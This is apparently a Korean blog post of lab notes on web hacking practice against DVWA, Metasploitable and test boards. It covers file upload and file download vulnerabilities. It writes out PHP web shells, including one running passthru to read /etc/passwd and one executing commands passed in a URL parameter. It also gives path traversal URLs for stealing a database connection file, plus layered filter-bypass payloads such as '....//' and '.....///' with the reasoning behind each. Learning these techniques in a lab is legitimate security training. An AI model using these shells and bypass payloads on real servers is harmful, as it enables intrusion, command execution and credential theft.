웹해킹 파일업로드 취약점
owasp zap 설치!
https://www.zaproxy.org/download/
파일다운로드취약점-------------------------------------------------------------------------------------
간단한 웹쉘 만들기
<?php
phpinfo();
?>
webhack 사이트에서
글하나 등록하고나서
서버에 웹셀업로드
다운로드 텍스트로 다운이됨
다운로드가 된다는 것은 웹쉘이 실행이 되지 않는 것이지
서버에는 정상적으로 업로드가 되었다.
서버의 파일 업로드 경로를 찾아서, 직접 실행시켜주면 된다.
192.168.0.100/webhack/board/download.php?file=core/shell.php
var/www/html/webhack/board/core/shell.php
경로를찾고싶을떄 owasp zap을 사용해본다.
파일 경로를 유추해본다
구글에서 프록시를 잡아주면 owasp에서 버프슈트처럼 프록시를 잡앗다생각해라.
이런식으로 다나옴
서버의 파일 업로드 경로를 찾아서, 직접 실행시켜 주면 된다.
owasp zap으로 프록시를 잡아서 사이트를 추가
공격-spider로 웹서버의 폴더구조 스캔
webhack/board 디렉토리로 가면 upload라는 폴더가 보인다.
upload 파일폴더밑에 core 폴더가 있고 shell.php 파일이 있으므로
업로드된 파일의 서버경로는
var/www/html/webhack/board/upload/core/shell.php
주소창에
https://192.168.0.100/webhack/board/upload/core/shell.php
------------------------------------------------------------------------------다음과제
--------------------------------------------
webhack - board -upload -admin
qna_write_ok.php -beee
-core -shell.php
-exam
board 안에있는
내가 보고싶은것은 qna_write_ok.php 를 다운을 받는것을 원한다.
https://192.168.0.100/webhack/board/download.php?file=core/shell.php
php업로드된파일을 다운로드 눌렀을떄 나오는 페이지
download.php?file=경로 -> 경로에 지정된 파일이 다운됨
위에것을보고
내가 원하는 경로의 파일을 한번 보자
download.php?file=qna_write_ok.php 가 저장된 경로를 넣어보자
http://192.168.0.100/webhack/board/download.php/?file=../qna_write_ok.php
이렇게하면
디폴트경로 var/www/html/webhack/board/upload/
원하는경로 var/www/html/webhack/board/
http://192.168.0.100/webhack/board/download.php/?file=../qna_write_ok.php
download.php?file=../qna_write_ok.php
download.php?file=../../dbconn.php
----------------------------------------------------------
데이터베이스 계정탈취
download.php?file=../../dbconn.php
http://192.168.0.100/webhack/board/download.php/?file=../../dbconn.php
이런식으로 데이터베이스 탈취가 가능하다
http://192.168.0.100/webhack/board/download.php/?file=../../user_id
-------------------------------------------------------
메타스플로이터블 키고
이미지파일 1mb 이상인 파일업로드하기
metasploitable을 vmware가동시키고 ifconfig에서 나온 ip 를 url에 넣으면 된다.
DVWA
admin /password
]
파일크기가 작아서 업로드가안된다...
파일 사이즈를 변경해주면 가능!!!!
-------------------------------------------------------
다음 문제
<?php
passthru("cat /etc/passwd");
?>
파일업로드를이용해
버프수트를 이용해 파일사이즈를 변경하고
ㅇ이용한다.
파일 업로드에성공!!
../../hackable/uploads/qweqw.txt
url 에
추가하면 댄다!!
../../hackable/uploads/qweqw.php
http://192.168.0.91/dvwa/hackable/uploads/qweqw.php
--------------------------------------------------------
------------------------------------------------
웹핵사이트에서
파일업로드, 파일업로드안되면 크기 프록시로변경하고
하기
첨부파일을등록하고
https://192.168.0.100/webhack/board로
들어가면
upload로 들어가게되면
내가등록한 게시물에
등록한 파일이 있다~!!!!!!!!
여기에 이렇게 뜬다..!
---------------------
dvwa 계정목록 가져오기
--------------------
파일만들어서
dvwa에
upload하고 올리고
dvwa 계정목록
----------------------
똑같은 dvwa 계정목록 가져오는 방법
--------------------------------
파일 php파일
만들고 거기에
주소창에 data=cat /etc/passwd
data형식으로 진행한다
?data=cat /etc/passwd
get형식으로 가져온다.
이렇게도 성공
------------------------------------------
----------------------------------------------------------
이것을 이용해서
c:\down\clear.txt
파일을 다운받는것이
목표다
내윈도우 서버 중요한파일
filename=test.jpg
/var/www/html/test1/file/upload/test.jpg
c:\apache2\html\test1\upload\test.jpg
filename=../../../../../../../down/clear.txt
..가 안되는걸보고
../ 이걸 필터링 했다고생각한다
http://192.168.0.10/down/clear.txt
filename=test../t.jpg
test.jpg파일이 다운이된다면
서버는 ../를 필터링 하는게 확실함
서버는
tes../../t.jpg
fillename=te....//st.jpg
../ 필터링된것을확인했었는데
te..../ 이런식으로하니까 한번만 사라지고 ..은사라진다
....//=>../를 한번만 필터릴하므로, 남은 ../은 인식
http://192.168.0.10/test1..../..../..../..../..../..../down/clear.txt
http://192.168.0.10/test1..../..../..../..../..../..../..../..../down/clear.txt
http://192.168.0.10/test1..../..../..../..../..../..../..../..../..../down/clear.txt
....//....//....//....//down/clear.txt
파일다운완료
....//....//....//....//down/clear.txt
필터링을 이용해서풀면된다.
--------------------------------------------------------------------
------------------------------------------------------------------
이런방법도있다
-------------------------------------------
---------------------------------------------------------------
test 2번!!!
path=upload%2Fimages&filename=test.jpg
path=filename=test.jpg
/down/clear.txt
파일명에는 경로가 안되고
무조건 파일명만 들어가야된다
../../../../upload/images/test.jpg
../../../../upload/images/down/clear.txt
../../../../upload/down/clear.txt
../../../../../upload/images/
위의 내용의 경로를
변경한다.
upload/images/../../../../../../down
이것은 필터리안되잇는걸 확인하고 제대로된 경로를 줌
path=upload/images/../../../../../../down
타고타고올라가니까 결국에는 앞에있는 upload/imges/가 사라진다
-------------------------------------------------------------------------------
-------------------------
다음문제는 이런게 있다고만 생각해라.
취약점진단툴로도 이러한것은 안나온다고 하기떄문이다
http:?/192.168.0.10/test3
../
./
1.먼저 필터링되는문자를찾는다
../../../../../../../..//../../../../down/clear.txt 반응이 틀리게나온다
허용되지않는문자가 존재하지않는다고나온다
근데
../../down/clear.txt로하면
../ 사용가능 - 인식 상위 단계로 이동
./ 사용가능 - 인식 현재 경로 표시
../../ 사용불가 - 경로가 필터링된다
../../../ 사용불가 - 경로가 필터링된다.
-> 문자열 전체를 처음 ../ 만 인식
.././.././.././../down/clear.txt
../test.jpg => 다운로드가능 . 즉 ../는 필터링
../../test.jpg => 허용되지 않는 문자 포함, 즉 ../../ 은 ../으로 인식
앞에있는 ../ 또는 뒤에 있는 ../ 은 서버로 인식이 되고
../을 이용한 경로이동이 차단
./test.jpg => 다운로드 가능하지만 ./는 현재경로를 뜻하므로 필터링이 되는지, 서버에서 인식이 되는지 모른다.
././test.jpg => 다운로드 가능,. 하지만 ./은 현재 경로를 뜻하므로 필터링이 되는지, 서버에서 인식이 되는지 모른다.
.././test.jpg => 경로 오류
./../test.jpg => 경로 오류
filename=.././.././.././.././.././.././.././.././.././.././down/clear.txt
filename=../../../../.././.././.././.././.././.././.././.././down/clear.txt
-------------------------------------------
------------------------------------
다음문제는 이런게 있다고만 생각해라.
취약점진단툴로도 이러한것은 안나온다고 하기떄문이다
192.168.0.10/test4
.....//// 이것도되여
filename=.....////.....////.....////.....////down/clear.txt
......///.....///......///.....///......///.....///down/clear.txt
.....///...
../ => 존재x
./ 다운로드 가능 ->./는 필터링(가정)
. => 존재x
-> ../와 . 의 반응이 같다. 즉./을 필터링 하는것으로 추측
./를 제거하는데 . 제거한 결과가 ../로 만들고싶다면 => ...//
...//=> 다운로드 가능 즉../ 도 제거
즉 ./ 와 ../ 는 확실히 제거가 될것같다.
...// 를 제거하는데 ../ 를 만들고 싶다면 => .....///
...../// -> ./ 를 제거 =....// -> ../를 제거 =../
즉 3번 까지는 제거하지 않는다
......///.....///......///.....///......///.....///down/clear.txt
'Web hacking' 카테고리의 다른 글
owasp 실습 (peruggia) (0) | 2020.12.07 |
---|---|
파일업로드 취약점,소스코드공개될때 가능한취약점 (0) | 2020.12.01 |
csrf(크로스사이트 요청위조),좀비 (0) | 2020.12.01 |
웹해킹시간 제로보드취약점 기존스크립트유지 (0) | 2020.12.01 |
웹해킹.kr 버프슈트 intruder 자동 회원가입등, sqlmap,제로보드 취약점 (0) | 2020.12.01 |